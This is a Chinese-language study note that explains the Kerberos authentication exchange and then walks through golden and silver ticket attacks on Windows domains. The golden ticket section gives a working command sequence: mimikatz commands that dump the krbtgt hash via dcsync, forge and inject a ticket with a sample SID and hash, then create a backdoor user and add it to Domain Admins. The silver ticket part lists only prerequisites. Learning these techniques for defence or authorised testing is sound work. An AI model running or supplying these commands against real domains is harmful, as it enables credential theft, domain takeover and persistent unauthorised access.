kerberos
Kerberos是一个网络认证协议,用于验证用户和服务之间的身份,解决分布式计算环境中的身份验证问题。它使用加密技术来提供安全的身份验证,并防止网络中的身份欺骗攻击。Kerberos协议使用了票据交换的方式,其中包括客户端、认证服务器(AS)和票据授予服务器(TGS)。
Kerberos协议的优势在于提供了安全的身份验证机制,防止了网络中的身份欺骗攻击。它使用加密技术、共享密钥和票据交换等方法,确保只有经过身份验证的用户才能访问受保护的服务。Kerberos广泛应用于企业网络环境中,特别是在Windows域环境中,用于实现单点登录和统一身份验证。
在域服务下,访问服务,服务只认票据,票据由DC颁发
客户端访问服务的流程:
//AD内记录着所有用户的用户名,密码,哈希
1、客户端发送自己的用户名给AS
2、AS验证用户名是否在白名单列表,如果在的话随机生成session key(as),返回如下信息
TGT1(session key(as),TGS服务器信息等)--客户端NTLM哈希加密
TGT2(session key(as),客户端信息等)--KRBTGT NTLM哈希加密
//KRBTGT是一个用户,可以理解为kerberos体系的老大,他的哈希代表认证的哈希,即身份票据如果想要生效,需要KRBTGT这个用户的哈希;不管你是什么身份,只要你这张票据是个代表身份的票据,就必须有KRBTGT的认证
//KRBTGT的哈希只有域控有
3、用自己的NTML哈希解密TGT1,获得TGS服务器信息以及session key(as),TGT2由于是别人的哈希,所以解不开
生成认证因子(客户端信息,当前时间)--session key(as)加密
发送认证因子以及TGT2给TGS服务
//TGS位于域控的认证中心,负责发放服务票据
4、TGS服务先解密TGT2获得session key(as),紧接着利用session key(as)解密认证因子,对比认证因子与TGT2的客户端信息是否一致,如果一致生成session key(TGS),返回如下信息给客户端
TGT3(session key(TGS),服务器信息,票据到期时间)--session key(as)加密
TGT4(session key(TGS),客户端信息,票据到期时间)--客户端想要访问的服务器的哈希加密
5、客户端解密TGT3,得到session key(TGS),服务器信息
//客户端在第3步使用自己的哈希解密TGT1后获取到了session key(as),可以使用as的se_key解密TGT3
//中间传递数据的任何过程as的se_key都没有在明面上进行传输,正常认证流程攻击者不可能获取到session key(as),但是作为客户端的用户可以通过解密获取到,进而可以解密TGT3获取到session key(TGS)
生成认证因子2(服务器信息,票据到期时间)--session key(TGS)加密
发送认证因子2以及TGT4给服务器
6、服务器先用自己的哈希解密TGT4得到session key(TGS),客户端信息,票据有效期
利用session key(TGS)解密认证因子对比客户端信息决定是否提供服务
黄金票据与白银票据
黄金票据和白银票据是指在kerberos协议认证过程中的两个票据,黄金票据是指AS服务返回的一个身份票据TGT,有了这个票据以后,可以访问这个身份允许的所有服务;白银票据是指TGS服务返回的一个身份票据ST,这个票据只能访问某个服务。
区别
黄金票据:是直接抓取域控中ktbtgt账号的hash,来在client端生成一个TGT票据,那么该票据是针对所有机器的所有服务。
白银票据:实际就是在抓取到了域控服务hash的情况下,在client端以一个普通域用户的身份生成TGS票据,并且是针对于某个机器上的某个服务的,生成的白银票据,只能访问指定的target机器中指定的服务。
黄金票据
黄金票据就是伪造的TGT,AS返回的票据
条件
1、域名称
2、域的SID值
3、域的KRBTGT账号的HASH
4、伪造任意用户名
适用场景
由于有些原因导致你对域管权限丢失,但好在你还有一个普通域用户权限,管理员在域内加固时忘记重置krbtgt密码
利用方式
systeminfo查看当前在域环境内
-
在普通域用户中使用mimikatz生成黄金票据.kirbi文件并保存
privilege::debug
lsadump::lsa /patch
lsadump::dcsync /domain:qf.com /user:krbtgt //导出NTLM哈希
-
清除票据
kerberos::purge \\清除票据
kerberos::tgt \\查看票据
kerberos::golden /user:administrator /domain:qf.com /sid:S-1-5-21-3818247987-2711466351-3365387365 /krbtgt:5eadd5a4f3a4861f8e887310db890002 /ticket:ticket.kirbi
/user:需要伪造的域管理员用户
/domain:域名称
/sid:SID值,(这里要是使用系统命令的话抓到是这样的SID,最后面的值代表着这个账号的SID值,注意是去掉最后一个-后面的值!)
/krbtgt:krbtgt的HASH值
/ticket:生成的票据名称
-
导入票据
kerberos::ptt ticket.kirbi
-
创建域管
net user bbb !@#qwe123 /add /domain 创建域用户
net group "domain admins" bbb /add /domain 添加域用户到域管理员组
可以看到添加的bbb用户隶属于域管理员组
白银票据
白银票据就是伪造的ST,TGS返回的票据
条件
1.域名
2.域sid
3.目标服务器名
4.可利用的服务
5.服务账号的NTML HASH
6.需要伪造的用户名
适用场景
知道服务器的Hash,可以访问服务器的某些服务而不用于kdc进行交互
利用方法大同小异